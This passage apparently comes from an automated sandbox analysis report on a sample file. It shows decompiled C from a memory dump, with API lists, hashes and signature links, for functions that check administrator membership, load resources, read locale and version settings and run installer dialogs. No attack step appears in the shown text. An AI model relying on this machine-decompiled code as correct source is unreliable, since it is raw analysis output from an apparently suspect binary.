				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00326CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E003217EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x328128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x328128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x003218a3
0x003218a3
0x003218ab
0x003218b2
0x003218b5
0x003218be
0x003218c0
0x003218c6
0x003218c7
0x003218ca
0x003218cf
0x003219c9
0x003219d8
0x003219d8
0x003218df
0x003219b8
0x003219bd
0x003219bf
0x003219bf
0x00000000
0x003219bd
0x003218fa
0x00000000
0x00000000
0x00321912
0x003219aa
0x003219ad
0x003219b3
0x00000000
0x00321927
0x00321927
0x00321932
0x00321936
0x003219a9
0x003219a9
0x00000000
0x003219a9
0x0032194c
0x003219a2
0x003219a3
0x00000000
0x0032196e
0x00321970
0x00321999
0x0032199c
0x00000000
0x0032199c
0x00321972
0x00321972
0x00321975
0x00321984
0x00321985
0x0032198a
0x00000000
0x00000000
0x00000000
0x0032198c
0x00321991
0x00321996
0x00000000
0x00321996
0x0032194c

APIs

Part of subcall function 003217EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003218DD), ref: 0032181A
Part of subcall function 003217EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0032182C
Part of subcall function 003217EE: AllocateAndInitializeSid.ADVAPI32(003218DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003218DD), ref: 00321855
Part of subcall function 003217EE: FreeSid.ADVAPI32(?,?,?,?,003218DD), ref: 00321883
Part of subcall function 003217EE: FreeLibrary.KERNEL32(00000000,?,?,?,003218DD), ref: 0032188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 003218EB
OpenProcessToken.ADVAPI32(00000000), ref: 003218F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0032190A
GetLastError.KERNEL32 ref: 00321918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0032192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00321944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00321964
EqualSid.ADVAPI32(00000004,?), ref: 0032197A
FreeSid.ADVAPI32(?), ref: 0032199C
LocalFree.KERNEL32(00000000), ref: 003219A3
CloseHandle.KERNEL32(?), ref: 003219AD

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 7f8ab9e78f7b3b680fa90f8dcd3aa7e05c9155a827d6e78d17293a29f1bea5b8
Instruction ID: d99558c18282bf1b86f854eaca2979b4b4fc2abe221bc6793bbbb22710492382
Opcode Fuzzy Hash: 7f8ab9e78f7b3b680fa90f8dcd3aa7e05c9155a827d6e78d17293a29f1bea5b8
Instruction Fuzzy Hash: A2316F71A00219AFDB22DFA5ED48EBFBBBCFF18710F104429E545D2150DB309946CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0032468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0032468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00324699
0x0032469b
0x003246a9
0x003246af
0x003246b4
0x003246bc
0x003246f9
0x00000000
0x003246f9
0x003246d9
0x003246dd
0x00000000
0x00000000
0x003246e5
0x003246ef
0x00000000
0x003246f5
0x003246ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
memcpy_s.MSVCRT ref: 003246E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

Strings

cent, xrefs: 003246E4
TITLE, xrefs: 0032469D, 003246C0

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$cent
API String ID: 3370778649-3553536280
Opcode ID: 630219816d3bf2109a5e49eb12e82d532472fe13a9077d0fabd22b05bc13b9d2
Instruction ID: e431cf7f3651a775fc0972f210b03c84d01df5597e8c25589f82f64feca2f2f5
Opcode Fuzzy Hash: 630219816d3bf2109a5e49eb12e82d532472fe13a9077d0fabd22b05bc13b9d2
Instruction Fuzzy Hash: 1601A9362447217BE33217A56C4DF6B7E2CDBC6F62F064018FE4A97150C971885286B6

Uniqueness

Uniqueness Score: -1.00%

Function 0032681F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0032681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x328004; // 0x2c4b51c8
				_v8 = _t19 ^ _t44;
				_t41 =  *0x3281d8; // 0x0
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x3281d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x3281d8; // 0x0
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x321140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E003266F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x3281d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				_t18 =  &_v8; // 0x32463b
				return E00326CE0(_t41, _t36,  *_t18 ^ _t44, _t40, _t41, _t43);
			}

0x0032681f
0x0032682a
0x00326831
0x00326836
0x0032683c
0x0032683e
0x00326848
0x00326851
0x0032685d
0x00326864
0x00326876
0x0032693a
0x0032693a
0x0032687c
0x0032687e
0x00326885
0x00000000
0x003268d6
0x003268f4
0x00326900
0x00326902
0x0032690a
0x00000000
0x0032690c
0x0032690c
0x0032691c
0x00000000
0x0032691e
0x00326924
0x0032692b
0x00326932
0x00000000
0x00000000
0x00000000
0x0032692b
0x0032691c
0x0032690a
0x00326885
0x00326876
0x00326940
0x00326951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0032686E
GetSystemMetrics.USER32(0000004A), ref: 003268A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003268CC
RegQueryValueExA.ADVAPI32(?,00321140,00000000,?,?,0000000C), ref: 003268F4
RegCloseKey.ADVAPI32(?), ref: 00326902

Part of subcall function 003266F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0032691A), ref: 00326741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 003268C2
;F2, xrefs: 00326940

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: ;F2$Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-2325406992
Opcode ID: e150846a5d4d9d008fb00e794e277285587c27dd6f240a278ee9f79ff46ba485
Instruction ID: 1a8ebcbbdae293b9b4885e6441ee19caa41661c9536fe1f630613d466510e03d
Opcode Fuzzy Hash: e150846a5d4d9d008fb00e794e277285587c27dd6f240a278ee9f79ff46ba485
Instruction Fuzzy Hash: 26316131A01238DFDB33CB11EC46BAAB77CEF85768F0141A9E949A6140DB309D96CF52

Uniqueness

Uniqueness Score: -1.00%

Function 003217EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E003217EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x328004; // 0x2c4b51c8
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x32a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00326CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x003217f6
0x003217fd
0x00321805
0x0032180b
0x0032180d
0x00321815
0x00321818
0x00321820
0x00321824
0x0032182c
0x00321832
0x00321837
0x00321851
0x00321854
0x0032185d
0x00321862
0x0032186c
0x00321872
0x00321877
0x0032187e
0x0032187e
0x00321883
0x00321883
0x0032185d
0x0032188a
0x0032188a
0x003218a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003218DD), ref: 0032181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0032182C
AllocateAndInitializeSid.ADVAPI32(003218DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003218DD), ref: 00321855
FreeSid.ADVAPI32(?,?,?,?,003218DD), ref: 00321883
FreeLibrary.KERNEL32(00000000,?,?,?,003218DD), ref: 0032188A

Strings

advapi32.dll, xrefs: 00321810
CheckTokenMembership, xrefs: 00321826

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: fff1ca206554b5e6cb19032936a601839e3c8dd0f831d88a43a5b354ab305b0b
Instruction ID: a854b3992ff76caf4ad4841ead9899596d439c5fcea838a74d848b4c18ffdd12
Opcode Fuzzy Hash: fff1ca206554b5e6cb19032936a601839e3c8dd0f831d88a43a5b354ab305b0b
Instruction Fuzzy Hash: 7A11B631E00219AFDB129FA4ED4AABEBB7CEF44701F11416DFA01E3290DB709D058B91

Uniqueness

Uniqueness Score: -1.00%

Function 00323450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00323450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E003243D0(_t24, _t12);
					SetWindowTextA(_t24, "cent");
					SetDlgItemTextA(_t24, 0x838,  *0x329404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x3291dc = 1;
					goto L8;
				}
				return 0;
			}

0x00323459
0x0032345c
0x003234d8
0x003234de
0x00000000
0x003234e0
0x0032345e
0x00323463
0x0032349a
0x003234a0
0x003234a7
0x003234b2
0x003234c4
0x003234cb
0x00000000
0x003234cb
0x00323468
0x0032346e
0x00323474
0x00000000
0x00000000
0x0032347c
0x0032348c
0x00323490
0x00000000
0x00323496
0x00323484
0x00000000
0x00000000
0x00323486
0x00000000
0x00323486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00323490
GetDesktopWindow.USER32 ref: 0032349A
SetWindowTextA.USER32(?,cent), ref: 003234B2
SetDlgItemTextA.USER32(?,00000838), ref: 003234C4
SetForegroundWindow.USER32(?), ref: 003234CB
EndDialog.USER32(?,00000002), ref: 003234D8

Strings

cent, xrefs: 003234AC

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: cent
API String ID: 852535152-3940384054
Opcode ID: be6fd996d1b4756196aa7f0d45156a37e811f33b80631e2c16f91c331e0d2ba2
Instruction ID: b5372bd99784dc7301c7c0ee0418aee0bfd2d2255e621087a9c52ef5f17fa4af
Opcode Fuzzy Hash: be6fd996d1b4756196aa7f0d45156a37e811f33b80631e2c16f91c331e0d2ba2
Instruction Fuzzy Hash: 5E01D431240538ABC72B6F66FC0C96D3B69EB05B10F124059F946969A0CB38AF63CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00322AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00322AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x328004; // 0x2c4b51c8
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x329a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00321680(_t65, E003217C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E003265E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00321680(_t65, E003217C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00326CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00322aac
0x00322ab7
0x00322abc
0x00322abe
0x00322ac3
0x00322ac6
0x00322ac9
0x00322ace
0x00322ae6
0x00322bdc
0x00322bdc
0x00322be0
0x00000000
0x00000000
0x00322af2
0x00322afc
0x00322b00
0x00322b05
0x00322b05
0x00322b0b
0x00322bca
0x00322bd1
0x00322b11
0x00322b18
0x00322b26
0x00322b99
0x00322bc8
0x00000000
0x00000000
0x00322b9b
0x00322bae
0x00322bb3
0x00322bb5
0x00322bb5
0x00322bb8
0x00322bb8
0x00322bba
0x00322bbb
0x00000000
0x00322bb8
0x00322b28
0x00322b2e
0x00322b33
0x00322b39
0x00322b3c
0x00322b3c
0x00322b3e
0x00322b3f
0x00322b55
0x00322b5d
0x00322b64
0x00322b64
0x00322b7a
0x00322b7f
0x00322b81
0x00322b81
0x00322b84
0x00322b84
0x00322b86
0x00322b87
0x00322bbf
0x00322bc1
0x00322bc1
0x00322b26
0x00322bda
0x00322bda
0x00322be6
0x00322be6
0x00322bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00322AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00322AF2
CharNextA.USER32(?), ref: 00322B12
CharUpperA.USER32 ref: 00322B1E
CharPrevA.USER32(?,?), ref: 00322B55
CharNextA.USER32(?), ref: 00322BD4

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 92b8c4f1835360c2ec7cb6a8b4b1456bf50967d7029bad223aa4c62d4a495399
Instruction ID: 8f42c98fa6c003f811cd2757924b5e8efac76b890525bfd2f8f58ca636ac24eb
Opcode Fuzzy Hash: 92b8c4f1835360c2ec7cb6a8b4b1456bf50967d7029bad223aa4c62d4a495399
Instruction Fuzzy Hash: E24135341082656FDF279F34AC04AFE7BAD9F56310F05009EE8C287202DB355E86CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 003228E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003228E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				char _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00322773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t11 =  &_v32; // 0x323938
						_t68 = GetFileVersionInfoSizeA(_v12, _t11);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									_t16 =  &_v32; // 0x323938
									if(GetFileVersionInfoA(_v12,  *_t16, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00322A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00322A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x003228f1
0x003228f4
0x003228f7
0x003228f9
0x003228fc
0x003228ff
0x00322901
0x00322907
0x00322a62
0x00322a64
0x0032290d
0x0032290d
0x0032290f
0x00322912
0x00322920
0x00322937
0x00000000
0x00000000
0x0032293d
0x00322944
0x0032294a
0x0032294f
0x00322a2f
0x00322a32
0x00322a34
0x00322a37
0x00322a41
0x00000000
0x00000000
0x00322955
0x0032295e
0x00322962
0x00322969
0x0032296f
0x00322974
0x0032297e
0x0032298c
0x00322a20
0x00322a21
0x00322a27
0x00322a4c
0x00322a4f
0x00322a50
0x00322a53
0x00322a56
0x00322a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x003229b2
0x003229b2
0x003229b5
0x003229bd
0x003229c3
0x003229cc
0x003229d5
0x003229d7
0x003229da
0x003229dd
0x003229df
0x003229ec
0x003229f8
0x003229fc
0x003229ff
0x00322a02
0x00322a07
0x00322a0a
0x00322a0f
0x00322a19
0x00322a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00322a0f
0x0032298c
0x00322974
0x00322962
0x00000000
0x0032294f
0x00322912
0x00322a65
0x00322a68
0x00322a6c
0x00322a6f
0x00322a6f
0x00322a7d

APIs

GlobalFree.KERNEL32 ref: 00322A6F

Part of subcall function 00322773: CharUpperA.USER32(2C4B51C8,00000000,00000000,00000000), ref: 003227A8
Part of subcall function 00322773: CharNextA.USER32(0000054D), ref: 003227B5
Part of subcall function 00322773: CharNextA.USER32(00000000), ref: 003227BC
Part of subcall function 00322773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00322829
Part of subcall function 00322773: RegQueryValueExA.ADVAPI32(?,00321140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00322852
Part of subcall function 00322773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00322870
Part of subcall function 00322773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003228A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00323938,?,?,?,?,-00000005), ref: 00322958
GlobalLock.KERNEL32 ref: 00322969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00323938,?,?,?,?,-00000005,?), ref: 00322A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00323938,?,?), ref: 00322A81

Strings

892, xrefs: 0032293D, 0032297E, 00322940

Memory Dump Source

